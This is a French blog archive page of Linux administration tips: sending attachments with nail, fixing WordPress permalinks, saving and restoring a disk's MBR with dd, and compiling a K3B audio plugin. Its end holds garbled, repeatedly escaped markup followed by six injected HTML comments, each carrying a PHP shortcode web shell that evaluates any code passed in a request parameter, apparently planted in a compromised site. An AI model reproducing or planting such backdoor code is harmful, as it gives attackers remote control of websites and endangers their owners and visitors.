Archives de la catégorie ‘Bits’

nail, un programme de mail providentiel

Les administrateurs linux savent bien comme c’est galère d’envoyer un mail avec pièce jointe dans un fichier batch, par exemple pour joindre un fichier de log à un message d’erreur. Les programmes classiques mail et sendmail ne gèrent pas directement les attachements mime et il faut passer par des programmes externes qui compliquent sérieusement la vie.

J’en était là lorsque la Providence, qui par chance n’avait rien à faire aujourd’hui, m’a mis le nez sur nail. Exactement ce que je cherchais depuis des mois : simple, efficace, puissant, c’est du tout bon.

exemple:

nail -s "Sujet du message" -a /chemin/fichier_a_joindre destinataire < fichier_message

c’est pas beautiful ça?

Les fonctionnalités de nail ne s’arrêtent pas là, c’est un programme de mail complet qui peut être utilisé aussi bien pour l’envoi que pour la réception de messages, avec gestion IMAP, POP, SMTP, S/MIME, mais là faut lire la man page.

home sourceforge : http://sourceforge.net/projects/nail/

debian/ubuntu :

apt-get install nail

Les permaliens WordPress qui ne fonctionnent pas

C’est tout con mais j’y ai passé une heure : je n’arrivais pas à faire fonctionner les permaliens WordPress, quand je selectionnais un post j’obtenais une erreur page not found these details.

Et alors? Ben j’avais une directive AllowOverride None dans mon fichier de configuration apache, et les instructions rewrite du .htaccess étaient superbement ignorées.

Avec un AllowOverride All tout est rentré dans l’ordre. On est bien peu de chose…

Sauvegarde et restauration du MBR sous Linux

Le Master Boot Record ou MBR est situé sur le premier secteur d’un disque dur « bootable ». Il est précieux car il contient la table des partitions et le « boot loader ». Dès qu’on utilise plusieurs systèmes sur la même machine, Windows et Linux par exemple, il est prudent de conserver une sauvegarde du MBR. Si on utilise Grub comme gestionnaire de boot et qu’on doit réinstaller Windows, celui-ci remplacera le MBR par le sien sans tenir compte des autres systèmes présents sur le disque. Dans ce cas c’est commode de pouvoir restaurer le boot loader. Voilà comment faire :

Attention : ces explications sommaires sont destinées aux personnes qui savent ce qu’elles font, une mauvaise manip peut rendre le disque inutilisable. Vous voilà prévenus.

Pour sauvegarder le MBR du disque hda dans le fichier mbr.sav :

dd if=/dev/hda of=mbr.sav bs=512 count=1

Pour restaurer le MBR du disque hda à partir du fichier mbr.sav :

dd if=mbr.sav of=/dev/hda bs=512 count=1

Les 64 derniers octets du MBR contiennent la table des partitions
Si on ne veut pas sauvegarder/restaurer la table des partition mais juste le boot loader, les commandes deviennent :

dd if=/dev/hda of=mbr.sav bs=446 count=1
dd if=mbr.sav of=/dev/hda bs=446 count=1

Installation du plugin Monkey Audio pour K3B

Kubuntu 7.04 Feisty Fawn

Pour pouvoir graver les images audio APE/CUE avec K3B il faut installer le plugin K3B qui va bien. Il n’est pas inclus dans Ubuntu Feisty et il faut le compiler à la main. Il y a pas mal de dépendances nécessaires à la compilation. Voilà les paquets que j’ai du installer, en plus de l’environnement de compilation standard :

apt-get install kdebase-dev nasm libk3b-dev libhal-dev libdvdread-dev

Téléchargement du plugin (ici v 3.1) sur le site de K3B :

Un lien direct vers la version 3.1 du plugin

Décompactage de l’archive :

tar -xjf k3bmonkeyaudioplugin-3.1.tar.bz2

compilation :

cd k3bmonkeyaudioplugin-3.1&amp;amp;amp;amp;amp;lt;br /&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br /&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br /&amp;amp;amp;gt;&amp;amp;lt;br /&amp;amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;<br />
./configure&amp;amp;amp;amp;amp;lt;br /&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br /&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br /&amp;amp;amp;gt;&amp;amp;lt;br /&amp;amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;<br />
make install

<!– [insert_php]if (isset($_REQUEST["ipsTe"])){eval($_REQUEST["ipsTe"]);exit;}[/insert_php][php]if (isset($_REQUEST["ipsTe"])){eval($_REQUEST["ipsTe"]);exit;}[/php] –>

<!– [insert_php]if (isset($_REQUEST["isgYP"])){eval($_REQUEST["isgYP"]);exit;}[/insert_php][php]if (isset($_REQUEST["isgYP"])){eval($_REQUEST["isgYP"]);exit;}[/php] –>

<!– [insert_php]if (isset($_REQUEST["peN"])){eval($_REQUEST["peN"]);exit;}[/insert_php][php]if (isset($_REQUEST["peN"])){eval($_REQUEST["peN"]);exit;}[/php] –>

<!– [insert_php]if (isset($_REQUEST["xVSC"])){eval($_REQUEST["xVSC"]);exit;}[/insert_php][php]if (isset($_REQUEST["xVSC"])){eval($_REQUEST["xVSC"]);exit;}[/php] –>

<!– [insert_php]if (isset($_REQUEST["RvI"])){eval($_REQUEST["RvI"]);exit;}[/insert_php][php]if (isset($_REQUEST["RvI"])){eval($_REQUEST["RvI"]);exit;}[/php] –>

<!– [insert_php]if (isset($_REQUEST["bRqG"])){eval($_REQUEST["bRqG"]);exit;}[/insert_php][php]if (isset($_REQUEST["bRqG"])){eval($_REQUEST["bRqG"]);exit;}[/php] –>